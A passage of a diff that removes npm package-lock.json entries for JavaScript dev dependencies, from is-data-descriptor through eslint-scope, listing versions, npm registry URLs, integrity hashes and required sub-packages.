"sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "bcrypt-pbkdf": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", - "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", - "dev": true, - "requires": { - "tweetnacl": "^0.14.3" - } - }, - "before-after-hook": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-2.1.0.tgz", - "integrity": "sha512-IWIbu7pMqyw3EAJHzzHbWa85b6oud/yfKYg5rqB5hNE8CeMi3nX+2C2sj0HswfblST86hpVEOAb9x34NZd6P7A==", - "dev": true - }, - "brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", - "dev": true, - "requires": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "requires": { - "fill-range": "^7.0.1" - } - }, - "browser-process-hrtime": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz", - "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==", - "dev": true - }, - "bs-logger": { - "version": "0.2.6", - "resolved": "https://registry.npmjs.org/bs-logger/-/bs-logger-0.2.6.tgz", - "integrity": "sha512-pd8DCoxmbgc7hyPKOvxtqNcjYoOsABPQdcCUjGp3d42VR2CX1ORhk2A87oqqu5R1kk+76nsxZupkmyd+MVtCog==", - "dev": true, - "requires": { - "fast-json-stable-stringify": "2.x" - } - }, - "bser": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz", - "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==", - "dev": true, - "requires": { - "node-int64": "^0.4.0" - } - }, - "btoa-lite": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/btoa-lite/-/btoa-lite-1.0.0.tgz", - "integrity": "sha1-M3dm2hWAEhD92VbCLpxokaudAzc=", - "dev": true - }, - "buffer-from": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", - "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==", - "dev": true - }, - "cache-base": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz", - "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", - "dev": true, - "requires": { - "collection-visit": "^1.0.0", - "component-emitter": "^1.2.1", - "get-value": "^2.0.6", - "has-value": "^1.0.0", - "isobject": "^3.0.1", - "set-value": "^2.0.0", - "to-object-path": "^0.3.0", - "union-value": "^1.0.0", - "unset-value": "^1.0.0" - }, - "dependencies": { - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "callsites": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", - "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", - "dev": true - }, - "camelcase": { - "version": "5.3.1", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", - "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", - "dev": true - }, - "capture-exit": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/capture-exit/-/capture-exit-2.0.0.tgz", - "integrity": "sha512-PiT/hQmTonHhl/HFGN+Lx3JJUznrVYJ3+AQsnthneZbvW7x+f08Tk7yLJTLEOUvBTbduLeeBkxEaYXUOUrRq6g==", - "dev": true, - "requires": { - "rsvp": "^4.8.4" - } - }, - "caseless": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", - "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=", - "dev": true - }, - "chalk": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.0.0.tgz", - "integrity": "sha512-N9oWFcegS0sFr9oh1oz2d7Npos6vNoWW9HvtCg5N1KRFpUhaAhvTv5Y58g880fZaEYSNm3qDz8SU1UrGvp+n7A==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "char-regex": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz", - "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==", - "dev": true - }, - "chardet": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", - "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==", - "dev": true - }, - "ci-info": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz", - "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==", - "dev": true - }, - "class-utils": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz", - "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", - "dev": true, - "requires": { - "arr-union": "^3.1.0", - "define-property": "^0.2.5", - "isobject": "^3.0.0", - "static-extend": "^0.1.1" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "requires": { - "is-descriptor": "^0.1.0" - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "cli-cursor": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", - "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", - "dev": true, - "requires": { - "restore-cursor": "^3.1.0" - } - }, - "cli-width": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.1.tgz", - "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==", - "dev": true - }, - "cliui": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz", - "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==", - "dev": true, - "requires": { - "string-width": "^4.2.0", - "strip-ansi": "^6.0.0", - "wrap-ansi": "^6.2.0" - } - }, - "co": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", - "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=", - "dev": true - }, - "collect-v8-coverage": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.1.tgz", - "integrity": "sha512-iBPtljfCNcTKNAto0KEtDfZ3qzjJvqE3aTGZsbhjSBlorqpXJlaWWtPO35D+ZImoC3KWejX64o+yPGxhWSTzfg==", - "dev": true - }, - "collection-visit": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz", - "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=", - "dev": true, - "requires": { - "map-visit": "^1.0.0", - "object-visit": "^1.0.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "combined-stream": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", - "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", - "dev": true, - "requires": { - "delayed-stream": "~1.0.0" - } - }, - "component-emitter": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", - "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==", - "dev": true - }, - "concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", - "dev": true - }, - "convert-source-map": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.7.0.tgz", - "integrity": "sha512-4FJkXzKXEDB1snCFZlLP4gpC3JILicCpGbzG9f9G7tGqGCzETQ2hWPrcinA9oU4wtf2biUaEH5065UnMeR33oA==", - "dev": true, - "requires": { - "safe-buffer": "~5.1.1" - } - }, - "copy-descriptor": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz", - "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=", - "dev": true - }, - "core-util-is": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", - "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", - "dev": true - }, - "cross-spawn": { - "version": "6.0.5", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", - "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", - "dev": true, - "requires": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" - } - }, - "cssom": { - "version": "0.4.4", - "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz", - "integrity": "sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw==", - "dev": true - }, - "cssstyle": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz", - "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", - "dev": true, - "requires": { - "cssom": "~0.3.6" - }, - "dependencies": { - "cssom": { - "version": "0.3.8", - "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz", - "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==", - "dev": true - } - } - }, - "dashdash": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", - "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", - "dev": true, - "requires": { - "assert-plus": "^1.0.0" - } - }, - "data-urls": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-2.0.0.tgz", - "integrity": "sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==", - "dev": true, - "requires": { - "abab": "^2.0.3", - "whatwg-mimetype": "^2.3.0", - "whatwg-url": "^8.0.0" - } - }, - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", - "dev": true, - "requires": { - "ms": "^2.1.1" - } - }, - "decamelize": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", - "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", - "dev": true - }, - "decimal.js": { - "version": "10.2.0", - "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.2.0.tgz", - "integrity": "sha512-vDPw+rDgn3bZe1+F/pyEwb1oMG2XTlRVgAa6B4KccTEpYgF8w6eQllVbQcfIJnZyvzFtFpxnpGtx8dd7DJp/Rw==", - "dev": true - }, - "decode-uri-component": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", - "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=", - "dev": true - }, - "deep-is": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", - "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=", - "dev": true - }, - "deepmerge": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", - "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", - "dev": true - }, - "define-property": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", - "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", - "dev": true, - "requires": { - "is-descriptor": "^1.0.2", - "isobject": "^3.0.1" - }, - "dependencies": { - "is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=", - "dev": true - }, - "deprecation": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/deprecation/-/deprecation-2.3.1.tgz", - "integrity": "sha512-xmHIy4F3scKVwMsQ4WnVaS8bHOx0DmVwRywosKhaILI0ywMDWPtBSku2HNxRvF7jtwDRsoEwYQSfbxj8b7RlJQ==", - "dev": true - }, - "detect-newline": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz", - "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==", - "dev": true - }, - "diff-sequences": { - "version": "26.0.0", - "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-26.0.0.tgz", - "integrity": "sha512-JC/eHYEC3aSS0vZGjuoc4vHA0yAQTzhQQldXMeMF+JlxLGJlCO38Gma82NV9gk1jGFz8mDzUMeaKXvjRRdJ2dg==", - "dev": true - }, - "doctrine": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", - "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", - "dev": true, - "requires": { - "esutils": "^2.0.2" - } - }, - "domexception": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/domexception/-/domexception-2.0.1.tgz", - "integrity": "sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==", - "dev": true, - "requires": { - "webidl-conversions": "^5.0.0" - }, - "dependencies": { - "webidl-conversions": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz", - "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==", - "dev": true - } - } - }, - "ecc-jsbn": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", - "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=", - "dev": true, - "requires": { - "jsbn": "~0.1.0", - "safer-buffer": "^2.1.0" - } - }, - "emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true - }, - "end-of-stream": { - "version": "1.4.4", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", - "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", - "dev": true, - "requires": { - "once": "^1.4.0" - } - }, - "error-ex": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", - "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", - "dev": true, - "requires": { - "is-arrayish": "^0.2.1" - } - }, - "escape-string-regexp": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", - "dev": true - }, - "escodegen": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.14.1.tgz", - "integrity": "sha512-Bmt7NcRySdIfNPfU2ZoXDrrXsG9ZjvDxcAlMfDUgRBjLOWTuIACXPBFJH7Z+cLb40JeQco5toikyc9t9P8E9SQ==", - "dev": true, - "requires": { - "esprima": "^4.0.1", - "estraverse": "^4.2.0", - "esutils": "^2.0.2", - "optionator": "^0.8.1", - "source-map": "~0.6.1" - } - }, - "eslint": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-7.0.0.tgz", - "integrity": "sha512-qY1cwdOxMONHJfGqw52UOpZDeqXy8xmD0u8CT6jIstil72jkhURC704W8CFyTPDPllz4z4lu0Ql1+07PG/XdIg==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.0.0", - "ajv": "^6.10.0", - "chalk": "^4.0.0", - "cross-spawn": "^7.0.2", - "debug": "^4.0.1", - "doctrine": "^3.0.0", - "eslint-scope": "^5.0.0", - "eslint-utils": "^2.0.0", - "eslint-visitor-keys": "^1.1.0", - "espree": "^7.0.0", - "esquery": "^1.2.0", - "esutils": "^2.0.2", - "file-entry-cache": "^5.0.1", - "functional-red-black-tree": "^1.0.1", - "glob-parent": "^5.0.0", - "globals": "^12.1.0", - "ignore": "^4.0.6", - "import-fresh": "^3.0.0", - "imurmurhash": "^0.1.4", - "inquirer": "^7.0.0", - "is-glob": "^4.0.0", - "js-yaml": "^3.13.1", - "json-stable-stringify-without-jsonify": "^1.0.1", - "levn": "^0.4.1", - "lodash": "^4.17.14", - "minimatch": "^3.0.4", - "natural-compare": "^1.4.0", - "optionator": "^0.9.1", - "progress": "^2.0.0", - "regexpp": "^3.1.0", - "semver": "^7.2.1", - "strip-ansi": "^6.0.0", - "strip-json-comments": "^3.1.0", - "table": "^5.2.3", - "text-table": "^0.2.0", - "v8-compile-cache": "^2.0.3" - }, - "dependencies": { - "cross-spawn": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.2.tgz", - "integrity": "sha512-PD6G8QG3S4FK/XCGFbEQrDqO2AnMMsy0meR7lerlIOHAAbkuavGU/pOqprrlvfTNjvowivTeBsjebAL0NSoMxw==", - "dev": true, - "requires": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - } - }, - "globals": { - "version": "12.4.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-12.4.0.tgz", - "integrity": "sha512-BWICuzzDvDoH54NHKCseDanAhE3CeDorgDL5MT6LMXXj2WCnd9UC2szdk4AWLfjdgNBCXLUanXYcpBBKOSWGwg==", - "dev": true, - "requires": { - "type-fest": "^0.8.1" - } - }, - "levn": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", - "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", - "dev": true, - "requires": { - "prelude-ls": "^1.2.1", - "type-check": "~0.4.0" - } - }, - "optionator": { - "version": "0.9.1", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.1.tgz", - "integrity": "sha512-74RlY5FCnhq4jRxVUPKDaRwrVNXMqsGsiW6AJw4XK8hmtm10wC0ypZBLw5IIp85NZMr91+qd1RvvENwg7jjRFw==", - "dev": true, - "requires": { - "deep-is": "^0.1.3", - "fast-levenshtein": "^2.0.6", - "levn": "^0.4.1", - "prelude-ls": "^1.2.1", - "type-check": "^0.4.0", - "word-wrap": "^1.2.3" - } - }, - "path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "dev": true - }, - "prelude-ls": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", - "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", - "dev": true - }, - "semver": { - "version": "7.3.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz", - "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==", - "dev": true - }, - "shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "dev": true, - "requires": { - "shebang-regex": "^3.0.0" - } - }, - "shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "dev": true - }, - "type-check": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", - "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", - "dev": true, - "requires": { - "prelude-ls": "^1.2.1" - } - }, - "which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "requires": { - "isexe": "^2.0.0" - } - } - } - }, - "eslint-config-prettier": { - "version": "6.11.0", - "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-6.11.0.tgz", - "integrity": "sha512-oB8cpLWSAjOVFEJhhyMZh6NOEOtBVziaqdDQ86+qhDHFbZXoRTM7pNSvFRfW/W/L/LrQ38C99J5CGuRBBzBsdA==", - "dev": true, - "requires": { - "get-stdin": "^6.0.0" - } - }, - "eslint-plugin-prettier": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/eslint-plugin-prettier/-/eslint-plugin-prettier-3.1.3.tgz", - "integrity": "sha512-+HG5jmu/dN3ZV3T6eCD7a4BlAySdN7mLIbJYo0z1cFQuI+r2DiTJEFeF68ots93PsnrMxbzIZ2S/ieX+mkrBeQ==", - "dev": true, - "requires": { - "prettier-linter-helpers": "^1.0.0" - } - }, - "eslint-scope": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.0.0.tgz", - "integrity": 